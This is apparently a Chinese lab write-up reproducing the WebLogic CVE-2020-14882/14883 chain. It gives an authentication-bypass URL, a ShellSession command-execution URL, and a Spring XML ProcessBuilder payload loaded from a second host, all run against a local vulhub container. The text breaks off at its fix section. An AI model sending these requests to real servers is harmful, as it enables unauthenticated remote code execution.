概述
CVE-2020-14882 允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883 允许后台任意用户通过 HTTP 协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个 GET 请求在远程 Weblogic 服务器上以未授权的任意用户身份执行命令。
参考
https://www.oracle.com/security-alerts/cpuoct2020.html
影响版本
10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0, 14.1.1.0.0
Payload
检测是否受影响
漏洞复现
搭建环境
cd vulhub/weblogic/CVE-2020-14882
docker-compose up -d
Weblogic 12.2.1.3
- 访问地址:http://127.0.0.1:7001/console
检测是否存在漏洞
TODO复现过程
- 通过权限绕过漏洞(CVE-2020-14882)访问管理后台页面:
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal
虽然可以访问管理后台页面,但是权限很低,无法执行任意代码。 - 配合 CVE-2020-14883 命令执行漏洞在服务器上创建文件
- 通过
com.tangosol.coherence.mvel2.sh.ShellSession
类执行命令(在 Weblogic 12.2.1 以上版本适用)
访问:http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/test');")
- 通过
com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
类执行命令(比较通用,但需要目标主机能访问到外网以下载构造的 xml 文件)
1)构造 xml 文件,并可通过 url 访问到http://172.16.0.1:8000/rce.xml
2)访问:<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[touch /tmp/test2]]></value>
</list>
</constructor-arg>
</bean>
</beans>
http://127.0.0.1:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.0.1:8000/rce.xml")
漏洞修复
- 通过